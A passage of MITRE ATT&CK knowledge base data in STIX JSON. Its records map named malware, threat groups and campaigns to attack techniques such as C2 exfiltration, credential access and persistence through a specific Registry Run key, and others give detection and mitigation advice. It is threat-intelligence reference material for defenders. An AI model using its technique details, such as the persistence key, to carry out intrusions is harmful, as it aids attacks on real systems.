"description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."}], "modified": "2020-03-17T16:30:17.326Z", "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for searching through email in Exchange and Office 365 environments.(Citation: GitHub MailSniper)", "relationship_type": "uses", "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03a73f0c-218f-4ebf-81d2-88e2c8e9b883", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}], "modified": "2020-03-20T02:21:24.978Z", "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) launches a shell to execute commands on the victim\u2019s machine.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03a8b070-a7dd-43b0-a044-1cf9f999475b", "type": "relationship", "created": "2020-11-12T17:10:00.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T21:56:38.164Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can use VBScript to execute malicious code.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit USBStealer 2014", "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}], "modified": "2020-03-11T17:45:54.088Z", "description": "[USBStealer](https://attack.mitre.org/software/S0136) searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)", "relationship_type": "uses", "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--03aece39-d7a2-47a4-be1a-b1d6f1d72654", "created": "2023-02-23T18:19:34.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. 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(2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}, {"source_name": "Secureworks BRONZE BUTLER Oct 2017", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. 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(2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}, {"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has downloaded additional malware and tools onto a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016) ", "modified": "2022-06-01T21:23:10.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto menuPass Feb 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. 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Retrieved April 9, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has exfiltrated data over the C2 channel.(Citation: Talos PoetRAT October 2020)", "modified": "2022-04-19T01:39:03.282Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--03fcc016-f9a2-491d-8d9f-92aa4b4c4d4a", "created": "2019-06-17T19:35:16.095Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC KeyBoys Feb 2017", "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. 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Retrieved May 27, 2020."}, {"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.414Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for network drives which may contain documents for collection.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04310dec-3aa0-4a92-821d-291e34d00de5", "created": "2024-02-29T18:38:02.366Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-05T16:01:35.333Z", "description": "Internet scanners may be used to look for artifacts associated with malicious C2 infrastructure. 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(Citation: Ukraine15 - EISAC - 201603)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--044576aa-2ec0-4f88-9cb9-ec6817dda514", "created": "2022-08-26T21:25:54.232Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ZScaler Squirrelwaffle Sep 2021", "url": "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", "description": "Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) can collect the user name from a compromised host.(Citation: ZScaler Squirrelwaffle Sep 2021)", "modified": "2022-08-26T21:25:54.232Z", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0449ef6d-2ea2-40a3-9cc9-c07672d6a859", "created": "2020-05-14T22:29:26.041Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T19:51:55.310Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can delete files and artifacts it creates.(Citation: McAfee Sharpshooter December 2018)\t", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--044a6e2a-df26-49aa-a485-304740fadd49", "created": "2023-01-17T22:14:02.773Z", "revoked": false, "external_references": [{"source_name": "Cisco Talos Avos Jun 2022", "description": "Venere, G. Neal, C. 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Retrieved January 11, 2023.", "url": "https://blog.talosintelligence.com/avoslocker-new-arsenal/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-17T22:14:02.773Z", "description": "(Citation: Cisco Talos Avos Jun 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Invincea XTunnel", "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"}], "modified": "2019-04-19T18:36:31.943Z", "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of accessing locally stored passwords on victims.(Citation: Invincea XTunnel)", "relationship_type": "uses", "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--044afcd4-997f-4069-8600-a45bff6616c5", "created": "2022-08-08T20:29:15.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T18:50:54.074Z", "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can use HTTPS for C2 using the Microsoft Graph API.(Citation: Microsoft POLONIUM June 2022)", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--044e6bdf-a7d1-4f70-8591-193ad4fab387", "created": "2023-09-13T18:55:35.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. 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Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-15T20:14:04.207Z", "description": "(Citation: Proofpoint TA2541 February 2022)(Citation: Morphisec Snip3 May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--044fa087-7d5a-474c-b074-e519f429a458", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2019-04-25T11:39:52.147Z", "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant establishes persistence by setting the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\</code>.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--045da2d4-f599-447b-931b-c11e8692fa1c", "type": "relationship", "created": "2021-02-16T20:13:27.797Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 BendyBear Feb 2021", "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", "description": "Harbison, M. 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Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T20:39:39.658Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used a custom binary protocol over port 443 for C2 traffic.(Citation: Unit42 OceanLotus 2017)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--046310ee-386b-4ed6-a623-6436341b8b8c", "created": "2022-10-11T19:20:27.044Z", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T19:20:27.044Z", "description": "[Moses Staff](https://attack.mitre.org/groups/G1009) has used batch scripts that can enable SMB on a compromised host.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0465632c-6db3-41ed-acc8-b0f60cc99330", "created": "2022-09-29T20:27:18.969Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T20:27:18.969Z", "description": "(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f", "target_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0465916e-9561-4518-b2fa-09be21bc04e1", "type": "relationship", "created": "2020-09-29T18:40:02.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA WellMail July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."}, {"source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}], "modified": "2021-07-30T18:28:13.040Z", "description": "(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--046716ed-d9ea-4416-a3a6-2dfa87584ce4", "type": "relationship", "created": "2021-06-30T16:13:40.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T16:13:40.464Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used .MSI files as an initial way to start the infection chain.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--046c954e-eaf9-4634-b55d-c8e7061d1ad2", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows(e.g. snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s))", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--046d418d-ffcc-4939-87ce-09cfc2885a5a", "type": "relationship", "created": "2019-04-23T15:30:03.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "source_name": "FireEye Periscope March 2018"}], "modified": "2020-03-11T17:06:10.233Z", "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can perform brute force password guessing against authentication portals.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}], "modified": "2022-02-21T16:24:52.524Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Unit 42 Gamaredon February 2022)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--04724f1d-f6ff-448e-bcac-4bcda34d895b", "created": "2023-09-25T12:41:50.804Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-25T12:41:50.804Z", "description": "Limit the number of cloud accounts and services with permission to query the secrets manager to only those required. Ensure that accounts and services with permissions to query the secrets manager only have access to the secrets they require.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0473a627-abe8-4cfe-9574-a15c1c33da29", "created": "2022-09-27T18:19:01.025Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:19:01.025Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [BloodHound](https://attack.mitre.org/software/S0521) discover trust between domains.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0476f265-c79a-4ff7-a4cd-815d304818c6", "created": "2023-02-14T21:44:04.240Z", "revoked": false, "external_references": [{"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": 